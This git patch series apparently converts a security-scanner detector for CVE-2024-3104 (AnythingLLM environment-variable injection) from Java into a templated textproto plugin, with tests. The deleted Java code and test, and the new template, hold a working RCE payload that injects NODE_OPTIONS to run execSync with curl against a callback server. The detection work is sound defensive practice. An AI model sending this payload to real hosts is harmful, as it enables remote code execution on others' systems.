From 98f07e62744e27235fc3b4910064e5c0efacff3b Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 24 Apr 2026 11:30:31 -0400 Subject: [PATCH 1/3] converted anythingllm CVE-2024-3104 to templated --- .../anything_llm_cve_2024_3104/README.md | 25 -- .../anything_llm_cve_2024_3104/build.gradle | 40 --- .../settings.gradle | 21 -- .../Cve20243104DetectorBootstrapModule.java | 27 -- .../cve20243104/Cve20243104VulnDetector.java | 264 ------------------ .../Cve20243104VulnDetectorTest.java | 155 ---------- .../detectors/cves/cve20243104/mainpage.html | 39 --- .../2024/AnythingLLM_CVE_2024_3104.textproto | 146 ++++++++++ .../AnythingLLM_CVE_2024_3104_test.textproto | 136 +++++++++ 9 files changed, 282 insertions(+), 571 deletions(-) delete mode 100644 community/detectors/anything_llm_cve_2024_3104/README.md delete mode 100644 community/detectors/anything_llm_cve_2024_3104/build.gradle delete mode 100644 community/detectors/anything_llm_cve_2024_3104/settings.gradle delete mode 100644 community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java delete mode 100644 community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java delete mode 100644 community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java delete mode 100644 community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html create mode 100644 templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto create mode 100644 templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104_test.textproto diff --git a/community/detectors/anything_llm_cve_2024_3104/README.md b/community/detectors/anything_llm_cve_2024_3104/README.md deleted file mode 100644 index 3e7ab16b9..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/README.md +++ /dev/null @@ -1,25 +0,0 @@ -# Anything-llm CVE-2024-3104 Detector - -A remote code execution vulnerability exists in mintplex-labs/anything-llm due -to improper handling of environment variables. Attackers can exploit this -vulnerability by injecting arbitrary environment variables via the POST -/api/system/update-env endpoint, which allows for the execution of arbitrary -code on the host running anything-llm. The vulnerability is present in the -latest version of anything-llm, with the latest commit identified as -fde905aac1812b84066ff72e5f2f90b56d4c3a59. This issue has been fixed in version -1.0.0. Successful exploitation could lead to code execution on the host, -enabling attackers to read and modify data accessible to the user running the -service, potentially leading to a denial of service. - -- https://huntr.com/bounties/4f2fcb45-5828-4bec-985a-9d3a0ee00462 -- https://vulners.com/nvd/NVD:CVE-2024-3104 - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/anything_llm_cve_2024_3104/build.gradle b/community/detectors/anything_llm_cve_2024_3104/build.gradle deleted file mode 100644 index 36968c387..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/build.gradle +++ /dev/null @@ -1,40 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami CVE-2024-3104 VulnDetector plugin.' -group 'com.google.tsunami' -version '0.0.1-SNAPSHOT' - - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/community/detectors/anything_llm_cve_2024_3104/settings.gradle b/community/detectors/anything_llm_cve_2024_3104/settings.gradle deleted file mode 100644 index a43b30b31..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/settings.gradle +++ /dev/null @@ -1,21 +0,0 @@ -/* - * This file was generated by the Gradle 'init' task. - * - * The settings file is used to specify which projects to include in your build. - * - * Detailed information about configuring a multi-project build in Gradle can be found - * in the user manual at https://docs.gradle.org/6.0/userguide/multi_project_builds.html - */ - -rootProject.name = 'CVE-2024-3104' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java deleted file mode 100644 index 54a8203e2..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve20243104; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A CVE-2024-3104 Guice module that bootstraps the {@link Cve20243104VulnDetector}. */ -public class Cve20243104DetectorBootstrapModule extends PluginBootstrapModule { - @Override - protected void configurePlugin() { - registerPlugin(Cve20243104VulnDetector.class); - } -} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java deleted file mode 100644 index abd239b2b..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java +++ /dev/null @@ -1,264 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve20243104; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects the CVE-2024-3104 vulnerability. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "CVE-2024-3104 Detector", - version = "0.1", - description = "Checks for occurrences of CVE-2024-3104 in the anything-llm instances.", - author = "frkngksl", - bootstrapModule = Cve20243104DetectorBootstrapModule.class) -@ForWebService -public final class Cve20243104VulnDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final PayloadGenerator payloadGenerator; - - private static final String PAYLOAD_BODY = - "{\"LocalAiBasePath\":\"http://example.com/v1'\\n" - + "NODE_OPTIONS='--import=\\\"data:text/javascript,import exec from" - + " \\\\\\\"node:child_process\\\\\\\";exec.execSync(\\\\\\\"{{CALLBACK_PAYLOAD}}\\\\\\\")\\\"\"}"; - - private static final String VUL_PATH_STEP_1 = "api/system/update-env"; - private static final String VUL_PATH_STEP_2 = "api/env-dump"; - private static final String VUL_PATH_STEP_3 = "api/migrate"; - - private static final Duration BATCH_REQUEST_WAIT_AFTER_TIMEOUT = Duration.ofSeconds(5); - private final HttpClient httpClient; - - @Inject - Cve20243104VulnDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = - checkNotNull(httpClient, "HttpClient cannot be null.") - .modify() - .setFollowRedirects(false) - .build(); - this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_3104")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-3104")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-3104 anything-llm RCE") - .setDescription( - "A remote code execution vulnerability exists in mintplex-labs/anything-llm due" - + " to improper handling of environment variables. Attackers can exploit" - + " this vulnerability by injecting arbitrary environment variables via the" - + " POST /api/system/update-env endpoint, which allows for the execution of" - + " arbitrary code on the host running anything-llm.Successful exploitation" - + " could lead to code execution on the host, enabling attackers to read" - + " and modify data accessible to the user running the service, potentially" - + " leading to a denial of service.") - .setRecommendation( - "You can upgrade your anything-llm instances to a version whose commit ID is" - + " bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later.") - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::isWebServiceOrUnknownService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean checkNeuralSolutionFingerprint(NetworkService networkService) { - String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); - - try { - HttpResponse response = httpClient.send(request, networkService); - return response.status().isSuccess() - && response - .bodyString() - .map( - body -> - body.contains( - "AnythingLLM | Your personal LLM trained on anything")) - .orElse(false); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private boolean isWebServiceOrUnknownService(NetworkService networkService) { - return NetworkServiceUtils.isWebService(networkService) - && checkNeuralSolutionFingerprint(networkService); - } - - private boolean sendFirstStepRequest(NetworkService networkService, Payload payload) { - String targetVulnerabilityUrl = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_STEP_1; - String requestBody = PAYLOAD_BODY.replace("{{CALLBACK_PAYLOAD}}", payload.getPayload()); - try { - HttpResponse httpResponse = - httpClient.send( - post(targetVulnerabilityUrl) - .setHeaders( - HttpHeaders.builder() - .addHeader(CONTENT_TYPE, "text/plain;charset=UTF-8") - .build()) - .setRequestBody(ByteString.copyFromUtf8(requestBody)) - .build(), - networkService); - logger.atInfo().log("First Step Response: %s", httpResponse.bodyString().get()); - Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); - return httpResponse.status().isSuccess() - && httpResponse.bodyString().map(body -> body.contains("\"error\":false")).orElse(false); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private boolean sendSecondStepRequest(NetworkService networkService) { - String targetVulnerabilityUrl = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_STEP_2; - - try { - HttpResponse httpResponse = - httpClient.send(get(targetVulnerabilityUrl).withEmptyHeaders().build(), networkService); - logger.atInfo().log("Second Step Response: %s", httpResponse.bodyString().get()); - return httpResponse.status().isSuccess() - && httpResponse.bodyString().map(body -> body.matches("OK")).orElse(false); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private boolean sendThirdStepRequest(NetworkService networkService) { - String targetVulnerabilityUrl = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_STEP_3; - try { - HttpResponse httpResponse = - httpClient.send(get(targetVulnerabilityUrl).withEmptyHeaders().build(), networkService); - logger.atInfo().log("Third Step Response: %s", httpResponse.bodyString().get()); - return httpResponse.status().isSuccess() - && httpResponse.bodyString().map(body -> body.matches("OK")).orElse(false); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private boolean isServiceVulnerable(NetworkService networkService) { - Payload payload = generateCallbackServerPayload(); - // Check callback server is enabled - if (!payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atInfo().log( - "The Tsunami callback server is not setup for this environment, so we cannot confirm the" - + " RCE callback"); - return false; - } - logger.atInfo().log("Callback server is available!"); - if (sendFirstStepRequest(networkService, payload) - && sendSecondStepRequest(networkService) - && sendThirdStepRequest(networkService)) { - Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); - return payload.checkIfExecuted(); - } else { - return false; - } - } - - private Payload generateCallbackServerPayload() { - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - return this.payloadGenerator.generate(config); - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java b/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java deleted file mode 100644 index 243981bae..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java +++ /dev/null @@ -1,155 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve20243104; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve20243104VulnDetector}. */ -@RunWith(JUnit4.class) -public class Cve20243104VulnDetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); - private MockWebServer mockWebServer; - private MockWebServer mockCallbackServer; - private NetworkService targetNetworkService; - private TargetInfo targetInfo; - private String mainPage; - - @Inject private Cve20243104VulnDetector detector; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - mockCallbackServer = new MockWebServer(); - mockCallbackServer.start(); - mainPage = Resources.toString(Resources.getResource(this.getClass(), "mainpage.html"), UTF_8); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), - new Cve20243104DetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - startMockWebServer(); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - assertThat(mockWebServer.getRequestCount()).isEqualTo(4); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { - startMockWebServer(); - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(4); - } - - private void startMockWebServer() throws IOException { - final Dispatcher dispatcher = - new Dispatcher() { - // Responses don't change in a fixed instance. - @Override - public MockResponse dispatch(RecordedRequest request) { - switch (request.getPath()) { - case "/": - return new MockResponse().setResponseCode(200).setBody(mainPage); - case "/api/env-dump": - return new MockResponse().setResponseCode(200).setBody("OK"); - case "/api/migrate": - return new MockResponse().setResponseCode(200).setBody("OK"); - case "/api/system/update-env": - return new MockResponse() - .setResponseCode(200) - .setBody( - "{\"newValues\":{\"LocalAiBasePath\":\"http://example.com/v1'\\n" - + "NODE_OPTIONS='--import=\\\"data:text/javascript,import exec from" - + " \\\\\\\"node:child_process\\\\\\\";exec.execSync(\\\\\\\"curl" - + " 21dca0b8fa6792683a37c5823b6074c774d169e453dbeacd73c0b612.localhost:35953\\\\\\\")\\\"\"},\"error\":false}"); - default: - return new MockResponse().setResponseCode(200).setBody(mainPage); - } - } - }; - mockWebServer.setDispatcher(dispatcher); - mockWebServer.start(); - mockWebServer.url("/"); - targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .addSupportedHttpMethods("POST") - .addSupportedHttpMethods("GET") - .build(); - targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - } -} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html b/community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html deleted file mode 100644 index c2163fd21..000000000 --- a/community/detectors/anything_llm_cve_2024_3104/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20243104/mainpage.html +++ /dev/null @@ -1,39 +0,0 @@ - - - - - - - - AnythingLLM | Your personal LLM trained on anything - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto new file mode 100644 index 000000000..93a3d3a07 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto @@ -0,0 +1,146 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "AnythingLLM_CVE_2024_3104" + author: + "Robert Dick (robert@doyensec.com) for the Templated version," + " frkngksl for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "AnythingLLM_CVE_2024_3104" + } + severity: HIGH + title: "CVE-2024-3104 anything-llm RCE" + description: + "A remote code execution vulnerability exists in mintplex-labs/anything-llm due" + " to improper handling of environment variables. Attackers can exploit" + " this vulnerability by injecting arbitrary environment variables via the" + " POST /api/system/update-env endpoint, which allows for the execution of" + " arbitrary code on the host running anything-llm.Successful exploitation" + " could lead to code execution on the host, enabling attackers to read" + " and modify data accessible to the user running the service, potentially" + " leading to a denial of service." + recommendation: + "You can upgrade your anything-llm instances to a version whose commit ID is" + " bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later." + related_id: { + publisher: "CVE" + value: "CVE-2024-3104" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_anythingllm" + http_request: { + method: GET + uri: "/" + response: { + http_status: 200 + expect_all { + conditions: [ + { body: {} contains: 'AnythingLLM | Your personal LLM trained on anything' } + ] + } + } + } +} + +actions: { + name: "update_env" + http_request: { + method: POST + uri: "/api/system/update-env" + data: + "{\"LocalAiBasePath\":\"http://cb.tsunami/v1'\\n" + "NODE_OPTIONS='--import=\\\"data:text/javascript,import exec from" + " \\\\\\\"node:child_process\\\\\\\";exec.execSync(\\\\\\\"curl {{ T_CBS_URI }}\\\\\\\")\\\"\"}" + headers: { name: "Content-Type" value: "text/plain;charset=UTF-8"} + response: { + http_status: 200 + expect_all { + conditions: [ + { body: {} contains: "\"error\":false" } + ] + } + } + } +} + +actions: { + name: "env_dump" + http_request: { + method: GET + uri: "/api/env-dump" + response: { + http_status: 200 + expect_all { + conditions: [ + { body: {} contains: 'OK' } + ] + } + } + } +} + +actions: { + name: "migrate" + http_request: { + method: GET + uri: "/api/migrate" + response: { + http_status: 200 + expect_all { + conditions: [ + { body: {} contains: 'OK' } + ] + } + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +actions: {} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_anythingllm", + "update_env", + "env_dump", + "migrate", + "sleep", + "check_callback_server_logs" + ] +} + +config: { + debug: true +} + diff --git a/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104_test.textproto b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104_test.textproto new file mode 100644 index 000000000..ef57ea21e --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104_test.textproto @@ -0,0 +1,136 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "AnythingLLM_CVE_2024_3104" + disabled: false +} + +tests: { + name: "whenAnythingLLMVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: '... AnythingLLM | Your personal LLM trained on anything ...' + }, + { + uri: "/api/system/update-env" + status: 200 + body_content: + "{\"error\":false}" + }, + { + uri: "/api/env-dump" + status: 200 + body_content: + "OK" + }, + { + uri: "/api/migrate" + status: 200 + body_content: + "OK" + } + ] + } +} + +tests: { + name: "whenAnythingLLMNotVulnerable_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: '... AnythingLLM | Your personal LLM trained on anything ...' + }, + { + uri: "/api/system/update-env" + status: 403 + body_content: + "{\"error\":true}" + }, + { + uri: "/api/env-dump" + status: 403 + body_content: + "Forbidden" + }, + { + uri: "/api/migrate" + status: 403 + body_content: + "Forbidden" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: '... AnythingLLM | Your personal LLM trained on anything ...' + }, + { + uri: "/api/system/update-env" + status: 200 + body_content: + "{\"error\":false}" + }, + { + uri: "/api/env-dump" + status: 200 + body_content: + "OK" + }, + { + uri: "/api/migrate" + status: 200 + body_content: + "OK" + } + ] + } +} + +tests: { + name: "whenNotAnythingLLM_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Login to your Drupal account" + } + ] + } +} From 6f8663af8344aaf7f89903da8df7769f0fe48d23 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 24 Apr 2026 13:08:32 -0400 Subject: [PATCH 2/3] changed severity --- .../plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto index 93a3d3a07..c8951b4ae 100644 --- a/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto +++ b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto @@ -19,7 +19,7 @@ finding: { publisher: "GOOGLE" value: "AnythingLLM_CVE_2024_3104" } - severity: HIGH + severity: CRITICAL title: "CVE-2024-3104 anything-llm RCE" description: "A remote code execution vulnerability exists in mintplex-labs/anything-llm due" From bcdcd815af6ae2f5a41c80910c3191bdc43373e1 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 24 Apr 2026 13:14:09 -0400 Subject: [PATCH 3/3] fixed linter errors --- .../plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto | 6 ------ 1 file changed, 6 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto index c8951b4ae..3641b0dc9 100644 --- a/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto +++ b/templated/templateddetector/plugins/cve/2024/AnythingLLM_CVE_2024_3104.textproto @@ -122,8 +122,6 @@ actions: { callback_server: { action_type: CHECK } } -actions: {} - ############# # WORKFLOWS # ############# @@ -140,7 +138,3 @@ workflows: { ] } -config: { - debug: true -} -